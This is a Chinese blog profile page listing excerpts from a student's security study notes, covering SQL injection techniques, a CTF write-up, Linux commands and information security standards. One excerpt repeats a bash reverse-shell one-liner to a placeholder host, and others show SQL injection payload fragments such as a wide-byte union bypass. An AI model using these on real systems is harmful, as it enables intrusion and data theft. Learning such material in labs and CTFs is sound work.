- 博客(20)
- 收藏
- 关注
RSS订阅原创 BugKu——你必须让他停下
发现页面用的是javascript，只要让火狐浏览器不运行Javascript就可以了。一进来页面不断刷新，看英文可知，停下来就可以找到flag。在火狐URL中输入about:config。回到页面按F12，将照片改成10.jpg。将下面这一栏转换成false。查看源代码就可以找到flag。
2025-05-09 16:59:03
319
原创 SQL注入总结
原理：当一个网站存在与用户交互的功能（如登录表单、搜索框、评论区等），并且用户输入的数据未经充分过滤或转义，直接拼接到后台数据库查询语句中执行时，就可能引发SQL注入漏洞。当网站用addslashe()函数转义时，该函数会在某些字符前面加‘ / ’转义，而且输入%df时转义函数就会在前面加入反斜杠，此时就变成这样/%df，而在GBK编码中会转成汉字。当输入1‘时，数字型注入会这样显示，知道是数字型注入后使用数字型 id=1 or 1=1。当遇到没有回显位，但是会有报错信息时，可以使用报错注入。
2025-05-06 20:43:01
997
原创 CTFhub---数字型注入
输入1and1=1就没有报错，说明这是一个数字型SQL注入。判断查询语句的列数，数字3没有显示正确信息。先输入1’判断是否有SQL注入，出现报错。数字2，就显示正确信息，说明有2列。在输入1’and1=1，出现报错。查询当前网站的数据库名称。将全部表名显示在一行上。将所有字段名都显示出来。
2025-04-02 16:30:32
438
原创 sql注入——报错函数1.0
绕过语句：id=%df’union%20select%20database(),user(),1--+1.floor()函数向下取整，一般搭配rand()随机函数(0-1之间的随机数)一起使用。rand()函数的特殊性，使用rand()的话，该值会被计算多次，当主键重复就会报错。注：最大返回值32位，当要查询的数据大于32位时，要结合其他方式使用。语法：updatexml（文档名称，内容定位，替换查询符合条件的值）MYsql对xml文档数据进行查询和修改的XPATH函数。3.updatexml()函数。
2025-03-21 20:02:38
518
原创 SQL注入——union 联合注入1.0
就是在id处随便输入一段字母确保语句的结果为空，然后适用union select 查询语句，判断数据的输出位置。如图：在第二个位置输入函数 user（）用户，第三个位置输入函数database（) 当前数据库名。union联合注入的原理：将数据库的数据显示到界面中，也可以说是获取数据库中的数据。因为order by 是给数据排序，后面输入的数字就是代表数据的列数（需要试）因为查询出数据的列数为三，但是显示位只有两位，所有要判断哪一位不显示。如图：说明数据的列数为3后面用--+注释掉了原有的分号。
2025-03-16 17:21:03
549
原创 重定向和管道
在Linux中，文件描述符是一个非负整数，用于唯一标识进程打开的文件、管道、网络连接或其他I/O资源。内核就是操作系统的核心，直接管理计算机硬件资源，简单来说就是用户看不懂的，直接跟计算机交流。-p port •指定端口：指定监听的端口号（某些版本中 -p 可省略，直接跟端口）。bash -i >& /dev/tcp/ip地址/端口 0>&1。bash -i >& /dev/tcp/ip/端口号 0>&1。bash -i >& /dev/tcp/路径/端口 0>&1。它的常见用途包括端口。
2025-03-14 16:48:18
606
原创 SentOS——进程管理
进程的来源有父进程通过fork创建的子进程；进程状态有R（运行）S（睡眠）Z（僵尸）T（停止）X（死亡）。2.PID是进程的标识符，可以简单理解为身份证号，每一个进程都会分配一个进程号，具有唯一性。pstree 命令是显示所有进程的关系（以树状结构显示）：进程不关联任何终端（如守护进程或内核线程）s-可中断睡眠 （ctrl+c 是终端进程）ps -ef --forest 显示进程树。-x 显示不关联终端的进程（如守护进程）ps -ef 显示所有进程的完整信息。3.PS-----静态查看当前进程。
2025-03-14 16:15:44
374
原创 Linux命令2.0
一共可以建立4个主分区也可以将其中一个变为扩展分区，扩展分区可以放多个逻辑分区。手动挂载 mount /dev/sdb1 /mnt/disk1。启动分区工具 fdisk /dev/sdb（第二块磁盘）挂载分区：先新建一个目录 mkdir /mnt/disk1。刷新分区表 partprobe /dev/sdb。格式化：mkfs.ext4 /dev/sdb1。Linux中先添加磁盘、分区、格式化、装载。验证分区：fdisk -l /dev/sdb。Linux查看分区命令 fdisk -l。
2025-03-13 21:19:56
231
原创 存储管理——硬盘
固态硬盘是由固态的电子存储芯片阵列而制作而成的硬盘，使用的是Flash技术存储信息，其特点是断电后数据不消失。机械硬盘就是传统的普通硬盘，由主轴、磁头组件、盘片、磁头驱动机构和接口几部分组成，采用磁性材料存储数据。硬盘内部没有机械运动部件，省去了寻道时间和机械延迟时间，可更快捷的响应读写请求。控制电路：控制硬盘的速度，磁头臂的移动、向磁头下发命令等。特点：早期企业级接口，并行传输，需要专用卡。特点：常见的家用接口，价格便宜，速度中等。特点：企业级接口，速度快，稳定性高。体积小，无需数据线，直接插主板。
2025-03-11 20:05:07
700
原创 在Linux中压缩和解压缩
1- -9 压缩级别：1最快压缩率最低，-9最慢压缩率最高（默认-6）压缩后会生成.gz后缀文件，默认删除原始文件。-d 解压文件（gunzip的等价操作）-k 保留原始文件（压缩/解压后不删除）解压 gunzip 【选项】 文件名 .gz （等价于 gzip -d）-c 输出到标准输出（不修改文件）
2025-03-10 20:02:04
225
原创 Linux 常用命令&用户权限
wheel 组是一个拥有超级管理员权限的组，组里的成员拥有执行特权命令的能力（例如那些需要root权限的命令）su - 用户 中间的-表示完整登录，要是不加s表示只切换用户身份，环境变量不变。语法：chmod 对象（u/g/o/a）赋值符（+/-/=）<权限> ： r / w / x （可组合，如 rw ）第8-10位：other的权限（r--表示仅可读）第2-4位：User的权限（rw-表示可读可写）第5-7位：Group的权限（r--表示仅可读）-u 用户：指定用户身份执行（默认root）。
2025-03-07 19:21:32
898
原创 VIM 编辑器
核心命令：ls -l =ll文件名或目录名 查看文件类型。vim一共有三种模式，分别是普通模式、插入模式、命令模式。全文替换：%s/old/new/ 加g每一行所有都替换。默认规则： 每创建一个用户，系统会自动创建同名组。启动命令是vim+文件名（文件名不存在则新建）- 普通文件 黑色文本蓝色可执行文件。退出vim，普通模式下按：进入命令行模式。插入模式到普通模式 ESC可直接退出。查找：在普通模式下/，输入关键字后回车。ctrl+r :重做撤销的操作。b 块设备文件 特殊设备标识。
2025-03-06 17:54:15
389
原创 Linux 操作系统基础
5.linux的前身是Unix，它们用的核心是同样的， Linus Torvalds（林纳斯·托瓦兹）是Linux 内核创始人、Git 版本控制系统发明者。2.完整操作系统= Linux 核心 + GNU 工具（如 Bash、GCC） + 用户软件（如 Firefox）。4.Linux支持多种硬件是因为开源代码可移植适配不同架构（如x86、ARM）1.核心是仅控制硬件和提供基础接口（如系统调用）。cp 拷贝（拷贝文件夹加-r）rm 删除 （删除文件夹加-r）查看文件内容 cat。
2025-03-04 17:15:03
310
原创 等级保护总结
2.网络安全等级保护（等保2.0）：从2017年国家颁布的《网络安全法》的正式实施，相关部门对等级保护标准体系进行了重构，等保2.0顺应而生，对网络实施分等级保护、分等级监督，对网络中使用的网络安全产品实行按等级管理，对网络中发生的安全事件分等级响应、处置。对国家重要信息、法人和其他组织及公民的专有信息以及公开信息和存储、传输、处理这些信息的网络和信息系统分成等级保护、分等级监督，对网络和信息系统中使用的网络安全产品实行按等级管理，对网络和信息系统中发生的网络安全事件分等级响应、处置。
2025-03-03 17:22:30
481
原创 信息安全工程与等级保护
信息安全技术网络安全等级保护基本要求》（GB/T22239-2019）、《信息安全技术网络安全等级保护测评要求》（GB/T 25058-2019）、《信息安全技术网络安全设计技术要求》（GB/T 25070-2019）、《信息安全技术网络安全等级保护实施指南》（GB/T 25058-2019）等国家标准已于2019年5月10日正式发布，于2019年12月1日开始实施。B1和B1以下的安全测评级别，安全模型策略是非形式化定义的，从B2级开始往后的安全测评级别，更加严格的形式化定义，甚至引用形式化验证方法。
2025-02-27 18:08:33
1177
原创 SSE-CMM工程
5个能力级别：Level 1（非正式执行过程）Level 2（计划和跟踪过程）Level 3（良好定义过程）目标：识别威胁（如流氓软件）、脆弱性（如有漏洞未修补）、影响（如工作中产生的损失）。关键PA：PA03（评估安全风险）、PA04（评估威胁）、PA05（评估脆弱性）。1.风险驱动：安全工程的核心是识别、评估和缓解风险（如数据泄露、系统入侵）。覆盖阶段：需求分析（PA01）、设计（PA09）、测试验证（PA11）信任度的证据：测试报告（PA11）、安全认证、评估过程的记录文档。
2025-02-26 17:10:43
450
原创 ISSE 信息系统安全工程
ISSE 的指导思想：将安全工程与信息系统开发集成起来。目标是搭建一个满足用户在资金、安全、性能、时间等方面要求的信息系统保护框架。零信任：进给网站页面每个访问请求需验证身份（如微隔离技术）；- 软件：DLP（数据防泄露）监控敏感文件传输；逻辑边界：防火墙规则、VPN隧道划分的虚拟网络区域。例如-硬件：HSM（硬件安全模块）管理加密密钥；评估信息安全系统——评估有效性。发掘信息安全需求——发掘需求。定义信息安全系统——定义系统。设计信息安全系统——设计系统。实施信息安全系统——实施系统。
2025-02-25 11:48:33
269
原创 第一章 信息安全工程概述
其次，作为同步与响应，要在认知域进行推理和决策，在相关法律法规及标准指导下，实现高质量的风险管理与控制，增强态势感知与理解、态势评估与预测等能力，并且基于风险和态势实现防御过程的实时自我调整。信息安全工程是一个庞大的体系，基于系统工程，经过时间考验并证明是正确的工程实践流程、管理技术和当前能够得到的最好技术方法相结合的过程，技术是实现信息保障的重要手段，技术，已经不单是以防护为主的静态技术体系，而是防护、检测、响应和恢复并重的动态的技术体系。系统脆弱性是指系统有漏洞，容易被获取、利用、损坏信息。
2025-02-24 17:19:34
418
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人